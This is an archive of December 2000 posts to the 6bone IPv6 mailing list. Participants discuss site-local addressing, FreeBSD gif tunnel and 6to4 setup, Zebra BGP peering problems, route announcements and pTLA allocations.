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Subject: RE: RFC1918 equiv
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The KAME comment is not correct. The MS stack supports site-local addresses
for hosts & routers, including

draft-ietf-ipngwg-site-prefixes-04.txt
draft-ietf-ipngwg-scoped-routing-03.txt
draft-ietf-ipngwg-scopedaddr-format-02.txt
draft-ietf-ipngwg-scoping-arch-01.txt

Rich

> -----Original Message-----
> From: Hal Snyder [mailto:hal@vailsys.com]
> Sent: Tuesday, December 12, 2000 7:25 PM
> To: 6bone@ISI.EDU
> Subject: Re: RFC1918 equiv
> 
> 
> Chuck Yerkes <chuck+6bone@snew.com> writes:
> 
> > I'm at a place that needs to start using IPv6, but isn't ready
> > to try 6-bone.  We need to setup a router/prefix advertising
> > daemon and, therefore, need a prefix to offer the machines.
> > I could make something up, but I've recovered too many companies
> > from that in IPv4 land.
> > 
> > What is an appropriate prefix to use for a non-routable IPv6
> > network?  The moral equivalent of 10/8 or 192.168/16?
> 
> I'd like to add to the question.
> 
> RFC 1884 specifies fec0::/10 for site-local use.
> 
> Yet the Kame implementation notes have this to say about site-local:
> 
>   Site-local address is very vaguely defined in the specs, and both
>   specification and KAME code need tons of improvements to enable its
>   actual use. For example, it is still very unclear how we define a
>   site, or how we resolve hostnames in a site. There are work underway
>   to define behavior of routers at site border, however, we have
>   almost no code for site boundary node support (both forwarding nor
>   routing) and we bet almost noone has. We recommend, at this moment,
>   you to use global addresses for experiments - there are way too many
>   pitfalls if you use site-local addresses.
> 
>   - http://www.dqc.org/cgi-bin/lxr/source/netinet6/IMPLEMENTATION
> 
> 
> This makes me wonder a) are there any signs of resolving the issues
> above and b) are people going ahead and addressing internal nets with
> fec0:: anyway?
> 
> Kame's IPv6 stack is not the only one out there, but the note makes it
> sound like a general problem.
> 

From 6bone-owner  Wed Dec 13 22:49:00 2000
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From: "Pat Jensen" <patjensen@mediaone.net>
To: <6bone@ISI.EDU>
Subject: Nortel/Bay Networks IPv6
Date: Wed, 13 Dec 2000 22:58:48 -0800
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Can anyone tell me if Nortel/Bay Network's Access Node (AN) product line
supports IPv6?  If so, could you
please answer these questions?

What version is required for IPv6 support?
Where can I get it?

How big is the image on flash?
How much memory is required to run it?
What features does it support?
Does it support IPv6 in IPv4 tunnels?

Thank you so much.  I appreciate your help.  Happy Holidays.

-Pat



From 6bone-owner  Fri Dec 15 00:57:04 2000
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Subject: Who has the expierence to Configure Tunnel Between W2K and Nokia IP650 router
Date: Fri, 15 Dec 2000 16:58:34 +0800
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Would you like to share me your expierence? thank you very much

From 6bone-owner  Fri Dec 15 04:12:35 2000
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Date: Fri, 15 Dec 2000 13:13:16 +0100
From: Julio Baixauli <baixauli@mat.upc.es>
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	Hello!

	Are there any ftp server in 6bone to test client FTP software?
	Has anybody test some FTP client in Linux (with Iv6, of course)? Any
recommendations?

	Thank you very much!

-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

From 6bone-owner  Fri Dec 15 04:31:50 2000
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Date: Fri, 15 Dec 2000 13:31:17 +0100 (MET)
Organization: Westfaelische Wilhelms-Universitaet
From: Christian Schild <ipng@uni-muenster.de>
To: Julio Baixauli <baixauli@mat.upc.es>
Subject: RE: ftp server for test in 6bone?
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Hello Julio,

On 15-Dec-2000 Julio Baixauli wrote:
> 
>       Hello!
> 
>       Are there any ftp server in 6bone to test client FTP software?

Please try ftp://ftp.ipv6.uni-muenster.de 

>       Has anybody test some FTP client in Linux (with Iv6, of course)? Any
> recommendations?

I tested netscape6/beonex, lukemftp and ncftp(patched), but I couldn't rate
one of them better than the other. 

Regards,
     Christian 

-- 
JOIN -- IP Version 6 in the WiN   Christian Schild
                  A DFN project   Westfaelische Wilhelms-Universitaet Muenster
Project Team email:               Zentrum fuer Informationsverarbeitung
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http://www.join.uni-muenster.de   D-48149 Muenster / Germany
email: schild@uni-muenster.de,  phone: +49 251 83 31638, fax: +49 251 83 31653

From 6bone-owner  Fri Dec 15 05:44:04 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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Subject: 6-to-4 
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Greetings,

Next to IPv6-connectivity via BGP-4+ thrue the 6bone, I am also looking
into 6to4.

Does anybody know,
- Where I can find info on this? (websites, mailing-lists, newsgroups)
- Especially concerning using OpenBSD for 6to4.
- Does anybody know of 6-to-4 hosts (hence, with a 2002::/16-something
address) I can ping?


Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                  belgacom internet backbone
(c=be,a=rtt,p=rttipc,s=Bonne,g=Kristoff)    Internet, IP and IP/VPN
kristoff.bonne@skypro.be                    Fax: +32 2 2435122



From 6bone-owner  Fri Dec 15 07:12:27 2000
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Date: Fri, 15 Dec 2000 16:13:24 +0100
From: Julio Baixauli <baixauli@mat.upc.es>
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To: Christian Schild <ipng@uni-muenster.de>
CC: 6bone <6bone@ISI.EDU>
Subject: Re: ftp server for test in 6bone?
References: <XFMail.20001215133117.ipng@uni-muenster.de>
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Christian Schild wrote:
> 
> Hello Julio,
> 
> On 15-Dec-2000 Julio Baixauli wrote:
> >
> >       Hello!
> >
> >       Are there any ftp server in 6bone to test client FTP software?
> 
> Please try ftp://ftp.ipv6.uni-muenster.de
> 
> >       Has anybody test some FTP client in Linux (with Iv6, of course)? Any
> > recommendations?
> 
> I tested netscape6/beonex, lukemftp and ncftp(patched), but I couldn't rate
> one of them better than the other.
> 
> Regards,
>      Christian


	ftp.ipv6.uni-muenster.de & lukemftp works fine!

	Thank you very much!

-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

From 6bone-owner  Fri Dec 15 07:56:47 2000
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Date: Fri, 15 Dec 2000 16:57:44 +0100
From: Julio Baixauli <baixauli@mat.upc.es>
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To: toenjes@aix550.informatik.uni-leipzig.de
CC: 6bone <6bone@ISI.EDU>
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toenjes@aix550.informatik.uni-leipzig.de wrote:
> 
> URL: ftp://6bone.informatik.uni-leipzig.de
> 
> I tested also mozilla and wget. It works fine.
> 


	Thank you very much for your multiple suggestions. Now, I've a problem
with lukemftp. I need to work with IPv4-mapped IPv6 addresses because
I'm developing a SIIT software (see RFC 2765). Lukemftp traduces these
addresses to IPv4 addresses, and try to do the comunication in IPv4.
	Are there any aplication (ftp or other) that use IPv4-mapped IPv6
native addresses that I can use to test my software?

	Again, thank you very much!

-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

From 6bone-owner  Fri Dec 15 08:28:10 2000
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To: Christian Schild <ipng@uni-muenster.de>
Cc: Julio Baixauli <baixauli@mat.upc.es>, 6bone <6bone@ISI.EDU>
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On Fri, Dec 15, 2000 at 01:31:17PM +0100, Christian Schild wrote:
> Hello Julio,
> 
> On 15-Dec-2000 Julio Baixauli wrote:
> > 
> >       Hello!
> > 
> >       Are there any ftp server in 6bone to test client FTP software?
> 
> Please try ftp://ftp.ipv6.uni-muenster.de 

ftp.kame.net also. Both ipv6 and ipv4 DNS so make sure you connect to the
right one.

> >       Has anybody test some FTP client in Linux (with Iv6, of course)? Any
> > recommendations?
> 
> I tested netscape6/beonex, lukemftp and ncftp(patched), but I couldn't rate
> one of them better than the other. 

I think debian/woody is getting a bit of ipv6 support (certainly telnet is)
so you might like to try the odd package from there.

From 6bone-owner  Fri Dec 15 08:51:33 2000
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From: Pim van Pelt <pim@wise-guys.nl>
Message-Id: <200012151652.RAA13873@godfather.wise-guys.nl>
Subject: IPv6 software (was: ftp server for test in 6bone?)
In-Reply-To: <XFMail.20001215133117.ipng@uni-muenster.de> from Christian Schild
 at "Dec 15, 2000 01:31:17 pm"
To: Christian Schild <ipng@uni-muenster.de>
Date: Fri, 15 Dec 2000 17:52:50 +0100 (CET)
CC: Julio Baixauli <baixauli@mat.upc.es>, 6bone <6bone@ISI.EDU>
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Julio, others,

An excellent website for finding IPv6 enabled applications is:
	http://bofh.st/ipv6/

By Wim Vandersmissen (Belgium). Using this page, you can find
patches for lftp/ncftp and various ftp-servers also.

groet,
Pim van Pelt 

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt       Email: pvanpelt@wise-guys.nl
http://www.wise-guys.nl/      GSM: +31629064049
-----------------------------------------------

From 6bone-owner  Fri Dec 15 09:26:56 2000
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From: John Wright <john@dryfish.org>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
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Subject: Re: 6-to-4
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In-Reply-To: <Pine.LNX.4.21.0012151440170.732-100000@frigg.belbone.net>; from kristoff.bonne@skypro.be on Fri, Dec 15, 2000 at 02:43:50PM +0100
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man faith

On Fri, Dec 15, 2000 at 02:43:50PM +0100, Kristoff Bonne wrote:
> Greetings,
> 
> Next to IPv6-connectivity via BGP-4+ thrue the 6bone, I am also looking
> into 6to4.
> 
> Does anybody know,
> - Where I can find info on this? (websites, mailing-lists, newsgroups)
> - Especially concerning using OpenBSD for 6to4.
> - Does anybody know of 6-to-4 hosts (hence, with a 2002::/16-something
> address) I can ping?
> 
> 
> Cheerio! Kr. Bonne.
> -- 
> KB905-RIPE                                  belgacom internet backbone
> (c=be,a=rtt,p=rttipc,s=Bonne,g=Kristoff)    Internet, IP and IP/VPN
> kristoff.bonne@skypro.be                    Fax: +32 2 2435122
> 
> 

From 6bone-owner  Fri Dec 15 11:40:58 2000
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From: "Li Hong" <jeff@muzi.com>
To: 6bone@ISI.EDU
Date: Sat, 16 Dec 2000 03:41:09 +0800
Subject: gif interface
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Hi, 

   I am confused how to enable gif interface in my
freebsd box? Can someone give me a clue?

   Jeff
-- 
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Get your free email from http://mail.muzi.com
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Date: Fri, 15 Dec 2000 13:53:51 -0800
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Make sure that you have IPv6 and GIF interfaces enabled in your kernel.
They should work fine if you are using the stock GENERIC kernel.

Then, follow the following process:

Configure Ethernet
ifconfig le0 inet6 your:local:ethernet:address

Configure Tunnel(s)
ifconfig gif0 giftunnel ipv4.src.ip ipv4.dst.ip
ifconfig gif0 inet6 ipv6:src:ip ipv6:dst:ip

Configure Default Gateway
route add -inet6 default ipv6:dst:ip

And you'll be all set.  Hope this helps.  Happy Holidays.

-Pat

-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Li
Hong
Sent: Friday, December 15, 2000 11:41 AM
To: 6bone@ISI.EDU
Subject: gif interface


Hi,

   I am confused how to enable gif interface in my
freebsd box? Can someone give me a clue?

   Jeff
--
_______________________________________________
Get your free email from http://mail.muzi.com
Powered by Outblaze


From 6bone-owner  Fri Dec 15 14:25:50 2000
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Date: Fri, 15 Dec 2000 23:24:30 +0100
From: Jean-Claude Christophe <jch@oleane.net>
To: Li Hong <jeff@muzi.com>
Cc: 6bone@ISI.EDU
Subject: Re: gif interface
Message-ID: <20001215232430.G13743@oleane.net>
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>    I am confused how to enable gif interface in my
> freebsd box? Can someone give me a clue?

Easy.

Add 'pseudo-device   gif     4' 
and 'options         INET6' in your kernel configuration file.
recompile it, and reboot.

After that, configure your gif0 interface for example like this:

gifconfig gif0 inet <your ipv4> <ipv4 endpoint>
ifconfig gif0 inet6 <your ipv6 adress> <ipv6 endpoint routeur> prefixlen 128 alias
route add -inet6 default <your ipv6 adress>

For testing, try: ping6 -n <ipv6 endpoint routeur>

It may work, good luck.

-- 
Jean-Claude Christophe / jch@oleane.net

From 6bone-owner  Fri Dec 15 14:29:44 2000
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Date: Fri, 15 Dec 2000 23:29:32 +0100
From: "Jasper Jongmans" <aprogas@mail.com>
To: 6bone@ISI.EDU
Subject: Re: gif interface
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Sat, 16 Dec 2000, Li Hong wrote:
>    I am confused how to enable gif interface in my
> freebsd box? Can someone give me a clue?

Read /sys/i386/conf/LINT en edit /sys/i386/conf/KERNEL_NAME. To use it put the proper gifconfig and ifconfig lines in your rc.conf (check /etc/defaults/rc.conf for some info; man 5 rc.conf won't help I think, last time I checked it, it did not contain the IPv6-related options).

- -- 
Jasper Jongmans                                            aprogas@mail.com
Website                         http://aprogas.student.utwente.nl/~aprogas/
PGP public key            ftp://aprogas.student.utwente.nl/keys/pgp_dss.asc

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From 6bone-owner  Fri Dec 15 14:42:08 2000
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From: "Matthew Goddard" <goddardm@home.com>
To: "Kristoff Bonne" <kristoff.bonne@skypro.be>, <6bone@ISI.EDU>
Subject: RE: 6-to-4 
Date: Fri, 15 Dec 2000 17:47:19 -0500
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The best resource i have found for 6to4 that makes it pretty easy is here:
http://www.kfu.com/~nsayer/6to4/

Even has info on setting it up as well as the Public tunnel destinations.

Matthew Goddard
goddardm@home.com

-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
Kristoff Bonne
Sent: Friday, December 15, 2000 8:44 AM
To: 6bone@ISI.EDU
Subject: 6-to-4 


Greetings,

Next to IPv6-connectivity via BGP-4+ thrue the 6bone, I am also looking
into 6to4.

Does anybody know,
- Where I can find info on this? (websites, mailing-lists, newsgroups)
- Especially concerning using OpenBSD for 6to4.
- Does anybody know of 6-to-4 hosts (hence, with a 2002::/16-something
address) I can ping?


Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                  belgacom internet backbone
(c=be,a=rtt,p=rttipc,s=Bonne,g=Kristoff)    Internet, IP and IP/VPN
kristoff.bonne@skypro.be                    Fax: +32 2 2435122



From 6bone-owner  Fri Dec 15 15:07:26 2000
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From: Pim van Pelt <pim@wise-guys.nl>
Message-Id: <200012152309.AAA11991@godfather.wise-guys.nl>
Subject: Re: gif interface
In-Reply-To: <20001215194109.79140.qmail@muzi.com> from Li Hong at "Dec 16, 2000
 03:41:09 am"
To: Li Hong <jeff@muzi.com>
Date: Sat, 16 Dec 2000 00:09:03 +0100 (CET)
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Dear Jeff,

> Hi, 
> 
>    I am confused how to enable gif interface in my
> freebsd box? Can someone give me a clue?
For help on manual setups on various unix-alike Operating
Systems, please visit http://www.ipng.nl/, section OS Setup.

For FreeBSD, things go something like:
# gifconfig gif0 <yourIPv4> <theirIPv4>
# ifconfig gif0 inet6 <yourIPv6> <theirIPv6> prefixlen <number>

Normally, you would also say something like:
# route add -inet6 default <theirIPv6>

and, if you plan to route traffic, you'd set your primary
ethernet card to some address:
# ifconfig fxp0 inet6 <someIPv6> prefixlen <someprefix>
# sysctl -w net.inet6.ip6.forwarding=1

This last statement tells the kernel to forward IPv6 packets
between interfaces (in your case between fxp0 and gif0)

regards,
Pim van Pelt

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt       Email: pvanpelt@wise-guys.nl
http://www.wise-guys.nl/      GSM: +31629064049
-----------------------------------------------

From 6bone-owner  Fri Dec 15 15:26:49 2000
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From: "Michael W. Oliver" <oliver.michael@gargantuan.com>
To: "'Kristoff Bonne'" <kristoff.bonne@skypro.be>, 6bone@ISI.EDU
Subject: RE: 6-to-4 
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Try this one.....

2002:181c:15d9:3::dead:beef


                                     =
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mailto:oliver.michael@gargantuan.com =
      http://michael.gargantuan.com/ =
Page me at mailto:1570482@skytel.com =
======================================


-----Original Message-----
From: Kristoff Bonne [mailto:kristoff.bonne@skypro.be]
Sent: Friday, December 15, 2000 8:44 AM
To: 6bone@ISI.EDU
Subject: 6-to-4 


Greetings,

Next to IPv6-connectivity via BGP-4+ thrue the 6bone, I am also looking
into 6to4.

Does anybody know,
- Where I can find info on this? (websites, mailing-lists, newsgroups)
- Especially concerning using OpenBSD for 6to4.
- Does anybody know of 6-to-4 hosts (hence, with a 2002::/16-something
address) I can ping?


Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                  belgacom internet backbone
(c=be,a=rtt,p=rttipc,s=Bonne,g=Kristoff)    Internet, IP and IP/VPN
kristoff.bonne@skypro.be                    Fax: +32 2 2435122


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Hi,
  You can configure gif as "Prefix+64bit interface ID", or any other format.
If you are using FreeBSD 4.0+, see /etc/defaults/rc.conf, there are lines about
configure gifs. Or you can write a script using ifconfig + gifconfig to setup your tunnel.
Best
Haisang

  ______________________________________________
    Haisang Wu 
    CERNET IPv6 Testbed Operation Team
    Central Mainbuilding    Room 307 
    Tsinghua University     Beijing   P.R.China 
    Zipcode: 100084     
    Phone: 62785814-525(O)  BP: 191-1134725
    email: hswu@ns.6test.edu.cn
  ______________________________________________ 	
 

> -----????-----
> ???: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]?? Li Hong
> ????: 2000?12?15? 11:41
> ???: 6bone@ISI.EDU
> ??: gif interface
> 
> 
> Hi, 
> 
>    I am confused how to enable gif interface in my
> freebsd box? Can someone give me a clue?
> 
>    Jeff
> -- 
> _______________________________________________
> Get your free email from http://mail.muzi.com
> Powered by Outblaze

From 6bone-owner  Fri Dec 15 23:01:23 2000
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From: "huaning\(bii\)" <nhua@biigroup.com>
To: "Bob Fink" <fink@es.net>
Cc: "6bone" <6bone@ISI.EDU>
Subject: ipv6-site registration problem
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Hi.Bob.

I encountered a registration problem 
when I tried to register a ipv6-site object
in 6bone databse.
The error message said 
    % ERROR: ***You are not authorized to do network updates***

and My register info is :
    ipv6-site: BII
    origin: AS10109
    descr: BII Group Holdings Ltd IPv6 Testbed
    contact: HN2-6BONE
    mnt-by: MNT-BII
    changed: nhua@biigroup.com 20001215
    source: 6BONE
    country: CN
    prefix: 3ffe:510::/32

What's the matter ?  How can I solve the problem?
Thank you.

_________________________________________________
    Hua Ning
    Beijing Internet-networking Institute(BII Group Holdings Ltd),
    110E 11F China Merchants Tower,
    No.2 Dong Huan Nan Lu, Chao Yang District,
    Beijing,China
    Zip Code: 100022
    Tel:+86-10-65660290-223
    Fax:+86-10-65660297
_________________________________________________

From 6bone-owner  Sat Dec 16 01:15:24 2000
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From: Richard Draves <richdr@microsoft.com>
To: "'Kristoff Bonne'" <kristoff.bonne@skypro.be>, 6bone@ISI.EDU
Subject: RE: 6-to-4 
Date: Fri, 15 Dec 2000 14:51:58 -0800
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See http://www.6bone.net/6bone_6to4.html.
Unfortunately doesn't say anything about OpenBSD.

For an 6to4 host, try ipv6.research.microsoft.com.

> -----Original Message-----
> From: Kristoff Bonne [mailto:kristoff.bonne@skypro.be]
> Sent: Friday, December 15, 2000 5:44 AM
> To: 6bone@ISI.EDU
> Subject: 6-to-4 
> 
> 
> Greetings,
> 
> Next to IPv6-connectivity via BGP-4+ thrue the 6bone, I am 
> also looking
> into 6to4.
> 
> Does anybody know,
> - Where I can find info on this? (websites, mailing-lists, newsgroups)
> - Especially concerning using OpenBSD for 6to4.
> - Does anybody know of 6-to-4 hosts (hence, with a 2002::/16-something
> address) I can ping?
> 
> 
> Cheerio! Kr. Bonne.
> -- 
> KB905-RIPE                                  belgacom internet backbone
> (c=be,a=rtt,p=rttipc,s=Bonne,g=Kristoff)    Internet, IP and IP/VPN
> kristoff.bonne@skypro.be                    Fax: +32 2 2435122
> 
> 

From 6bone-owner  Sat Dec 16 02:53:16 2000
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On Sat, Dec 16, 2000 at 05:38:25AM +0900, Jun-ichiro itojun Hagino wrote:
> 
> >man faith
> 
> 	no, that is different thing.  faith(4) and faithd(8) implements
> 	draft-ietf-ngtrans-tcpudp-relay-02.txt, while the guy is asking

But:

NAME
     faith - IPv6-to-IPv4 TCP relay capturing interface

and:

NAME
     faithd - FAITH IPv6/v4 translator daemon

?!

From 6bone-owner  Sat Dec 16 10:28:56 2000
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please check your filters and allow 2001:440::/35. Sprint will now be
announcing both 

3ffe:2900::/24
and 
2001:440::/35

to go along with our native deployement plans. 

Thanks
Rob Rockell
Sprint Internet Services
Principal Engineer
SprintLink Europe/Asia
703-689-6322
-----------------------------------------------------------------------


From 6bone-owner  Sat Dec 16 13:34:39 2000
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In-reply-to: Your message of "Sat, 16 Dec 2000 13:28:49 EST."
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Date: Sat, 16 Dec 2000 13:34:01 -0800
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> please check your filters and allow 2001:440::/35. Sprint will now be
> announcing both 
> 
> 3ffe:2900::/24
> and 
> 2001:440::/35
> 
> to go along with our native deployement plans. 

To generalize a bit, adding a "permit 2001::/16 ge 35 le 35" to
filters would probably be prudent at this point.

Stephen

From 6bone-owner  Sat Dec 16 15:05:19 2000
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> [...]
> 	Yes, this is VERY confusing.  however, they are different, and here we
> 	are talking about the former, not the latter.

In that case the following from kame source tree's IMPLEMENTATION file:

---8<---

draft-ietf-ngtrans-6to4-06.txt:
        Connection of IPv6 Domains via IPv4 Clouds without Explicit Tunnels
    * "stf" interface implements it.  Be sure to read the next item before
      configuring it, there are security issues.
draft-itojun-ipv6-transition-abuse-01.txt:
        Possible abuse against IPv6 transition technologies
    * KAME does not implement RFC1933/2893 automatic tunnel.
    * "stf" interface implements some address filters.  Refer to stf(4)
      for details.  Since there's no way to make 6to4 interface 100% secure,
      we do not include "stf" interface into GENERIC.v6 compilation.
    * kame/openbsd completely disables IPv4 mapped address support.
    * kame/netbsd makes IPv4 mapped address support off by default.
    * See section 1.12.6 and 1.14 for more details.

---8<---

Security issues will obviously make OpenBSD suspicious about implementing
them and hence they have disabled this stf interface.

From 6bone-owner  Sat Dec 16 19:44:59 2000
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From: "Pat Jensen" <patjensen@mediaone.net>
To: <6bone@ISI.EDU>
Subject: Zebra Issue?
Date: Sat, 16 Dec 2000 19:54:41 -0800
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Is anyone peering with Cisco using Zebra?  I have a BGP session established
with Sprintlink, but whenever I key in my BGP neighbor address for Cisco,
Zebra immediately core dumps.  I have a distribution list in place so I am
not sending any updates except for my Cisco assigned block to Cisco.

It dies according to the logfile, right after I receive an update from Cisco
that points to an aggregated block for my network (3ffe:c00:8017::/48)   Is
Cisco is running a newer version of IOS?  And Zebra doesn't support
negotiating a newer feature?  Any Zebra experts out there?

Happy Holidays!

-Pat

Here is my Zebra configuration:

hostname FUnix-BGP
log file bgpd.log
service password-encryption
!
router bgp 1999
 bgp router-id 10.0.0.1
 ipv6 bgp network 3ffe:2900:e006::/48
 ipv6 bgp network 3ffe:C00:8017::/48
 ipv6 bgp neighbor 3ffe:2900:e:6::1 remote-as 6175
 ipv6 bgp neighbor 3ffe:2900:e:6::1 description Sprint IPv6 NOC
 ipv6 bgp neighbor 3ffe:2900:e:6::1 distribute-list sprintout out
 ipv6 bgp neighbor 3FFE:C00:E:17::1 remote-as 109
 ipv6 bgp neighbor 3FFE:C00:E:17::1 description Cisco IPv6 NOC
 ipv6 bgp neighbor 3FFE:C00:E:17::1 distribute-list ciscoout out
!
ipv6 access-list all permit any
ipv6 access-list sprintout permit 3ffe:2900:e006::/48
ipv6 access-list ciscoout permit 3ffe:c00:8017::/48

And Zebra log:

2000/12/16 19:38:33 BGP: 3ffe:c00:e:17::1 [Withdraw:SEND] 3ffe:1f00::/24
2000/12/16 19:38:33 BGP: 3ffe:c00:e:17::1 [Update:RECV] 2001:610::/35
nexthop: 0
.0.0.0 mp_nexthop: 3ffe:c00:e:17::1(fe80::c01f:768) aspath: 109 1849 1103 i
2000/12/16 19:38:33 BGP: 3ffe:c00:e:17::1 [Withdraw:SEND] 2001:610::/35
2000/12/16 19:38:33 BGP: 3ffe:c00:e:17::1 [Update:RECV] 3ffe:600::/24
nexthop: 0
.0.0.0 mp_nexthop: 3ffe:c00:e:17::1(fe80::c01f:768) aspath: 109 1849 1103 i
2000/12/16 19:38:33 BGP: 3ffe:c00:e:17::1 [Withdraw:SEND] 3ffe:600::/24
2000/12/16 19:38:33 BGP: 3ffe:c00:e:17::1 [Update:RECV] 3ffe:3900::/24
nexthop:
0.0.0.0 mp_nexthop: 3ffe:c00:e:17::1(fe80::c01f:768) aggregator:
206.220.240.226
[3425] aspath: 109 293 3425 i
2000/12/16 19:38:33 BGP: 3ffe:c00:e:17::1 [Withdraw:SEND] 3ffe:3900::/24
2000/12/16 19:38:33 BGP: 3ffe:c00:e:17::1 [Update:RECV] 3ffe:c00::/24
nexthop: 0
.0.0.0 mp_nexthop: 3ffe:c00:e:17::1(fe80::c01f:768) aspath: 109 i

<this is where it core dumps>


From 6bone-owner  Sat Dec 16 22:28:23 2000
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From: "Robert J. Rockell" <rrockell@sprint.net>
X-Sender: rrockell@iscserv1
To: 6bone@ISI.EDU
Subject: looks like some hung routes
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in an effort to fix something, it looks like I leaked a bunch of routes in
the 3ffe:2900::/24 space (many /48's).  I have gathered a list of ASN's that
appear to be still advertising them. Please look at your tables if you are a
pTLA, and make sure that there are no longer any more specifics out of
3ffe:2900::/24. Things should be filtered according to rfc2772 at this time.
Sorry for the inconvenience. If I don't see them clear up in a few days,
I'll release the list of ASN's that have the stuck routes. I encourage all
pTLA's to filter inbound and outbound, via 2772. please see the document if
you have not read it

www.ietf.org/rfc/rfc2772.txt

thanks.

Thanks
Rob Rockell
Sprint Internet Services
Principal Engineer
SprintLink Europe/Asia
703-689-6322
-----------------------------------------------------------------------


From 6bone-owner  Sun Dec 17 00:51:03 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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To: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Cc: 6bone@ISI.EDU
Subject: Re: 6-to-4 
In-Reply-To: <20001215164713.E2B287E23@starfruit.itojun.org>
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Greetings,

On Sat, 16 Dec 2000, Jun-ichiro itojun Hagino wrote: <
>> >Next to IPv6-connectivity via BGP-4+ thrue the 6bone, I am also
>> looking into 6to4. ...
>>- Especially concerning using OpenBSD for 6to4.
> 	there's no support for 6to4 in OpenBSD 2.7/2.8.
There indead is not 'stf' (six to four) interface in the default
installation of OpenBSD, but I am still trying to find out if this is
because it is not supported on OpenBSD at all (it's part of the
KAME-software, so why would the OpenBSD-people have removed it), or is has
been removed from the default installation.
(There has been a security-warning of the stf-interface, and considering
OpenBSD's security commitment ...)


Anycase, -at first- I actually wanted to try FreeBSD, bit -for some
reason- these siemens 'scenic' boxes hang up when during the
freebsd-installation (at the moment the ethernet-interface is configured).
Neither Linux nor OpenBSD have any problem at all, so it's not a real
'hardware' problem.

Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                  belgacom internet backbone
(c=be,a=rtt,p=rttipc,s=Bonne,g=Kristoff)    Internet, IP and IP/VPN
kristoff.bonne@skypro.be                    Fax: +32 2 2435122



From 6bone-owner  Sun Dec 17 00:51:17 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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To: "Michael W. Oliver" <oliver.michael@gargantuan.com>
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Subject: RE: 6-to-4 
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Greetings,


On Fri, 15 Dec 2000, Michael W. Oliver wrote:
>> - Does anybody know of 6-to-4 hosts (hence, with a 2002::/16-something
>> address) I can ping?
> 2002:181c:15d9:3::dead:beef

Great IP-address ;-)

Anycase, A "thanks" to everybody who replied to my question.

Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                  belgacom internet backbone
(c=be,a=rtt,p=rttipc,s=Bonne,g=Kristoff)    Internet, IP and IP/VPN
kristoff.bonne@skypro.be                    Fax: +32 2 2435122



From 6bone-owner  Sun Dec 17 13:16:58 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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To: John Wright <john@dryfish.org>
Cc: Jun-ichiro itojun Hagino <itojun@iijlab.net>, 6bone@ISI.EDU
Subject: Re: 6-to-4
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Greetings,

On Sat, 16 Dec 2000, John Wright wrote:
> draft-ietf-ngtrans-6to4-06.txt:
>         Connection of IPv6 Domains via IPv4 Clouds without Explicit Tunnels
>     * "stf" interface implements it.  Be sure to read the next item before
>       configuring it, there are security issues.
> draft-itojun-ipv6-transition-abuse-01.txt:
>         Possible abuse against IPv6 transition technologies
>     * KAME does not implement RFC1933/2893 automatic tunnel.
>     * "stf" interface implements some address filters.  Refer to stf(4)
>       for details.  Since there's no way to make 6to4 interface 100% secure,
>       we do not include "stf" interface into GENERIC.v6 compilation.
So I guess I need to re-compile the kernel. ;-)

Anycase, I do not really understand the problems with this for 6to4.
When you sent a IPv6-packet to (say) 2002:c300:01ff:x:x:x:x:x, it get
tunned to 195.0.0.255, which is a IPv4 broadcast-address.
But, that packet will not get anywhere, as it will be filtered out by the
Ipv4-router servicing that IP-subnet if it has 'no ip-directed-broadcast'
enabled'.
After the wave of smurf-attacks last-year (which work on a simular
principle), almost every ISP has this enabled.



>     * kame/openbsd completely disables IPv4 mapped address support.
AFAIK, IPv4-enabled addresses are not the same thing as 6to4.


> Security issues will obviously make OpenBSD suspicious about implementing
> them and hence they have disabled this stf interface.
I just hope it is still in the code; so I just need to re-compile the
kernel.

Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                  belgacom internet backbone
(c=be,a=rtt,p=rttipc,s=Bonne,g=Kristoff)    Internet, IP and IP/VPN
kristoff.bonne@skypro.be                    Fax: +32 2 2435122



From 6bone-owner  Sun Dec 17 18:56:17 2000
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Date: Sun, 17 Dec 2000 18:56:00 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: new 6bone pTLA's allocated
Cc: Pim van Pelt <pim@wise-guys.nl>, Joop Joosten <Joop.Joosten@cern.ch>,
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The comment period for both INTOUCH-NL and CERN pTLA's has passed with no 
comments. Thus I have assigned their pTLA's as follows:

INTOUCH-NL 3FFE:8200::/28

CERN       3FFE:8300::/28


It will be a short while before they make the appropriate reigstry entries.


Thanks,

Bob


From 6bone-owner  Mon Dec 18 05:12:58 2000
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Date: Mon, 18 Dec 2000 14:13:42 +0100
From: Julio Baixauli <baixauli@mat.upc.es>
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	Hello!

	I need an explanation about IPv4-mapped addresses... 

	I'm programming a client application for test purposes. Basically, I
open a socket and connect that socket to an IPv6 address. Next, I read
characters from that socket.

	There is no problems when I try to connect to global-scope addresses,
like 3ffe:XXXXXXXXXX. In this cases I can connect.
	The problem comes when I try to connect to IPv4-mapped addresses. In
this cases connect returns 'no route to host' or 'network is
unreachable'. This is false!! because I add a route to IPv4-mapped
addresses, and when I ping these addresses I can see, at least, ICMP
Neighbor Solicitation, for the gateway, on the net.

	So... what's failing?
	Do kernel any diferences between raw-sockets (ping) and stream-sockets
(tcp)?
	Are there any implications with IPv4-mapped addresses?
	I've no idea about what happens...

	Thank you very much, and I'm sorry for my horrible english.

-- 
********************************************

	Julio Baixauli Garreta
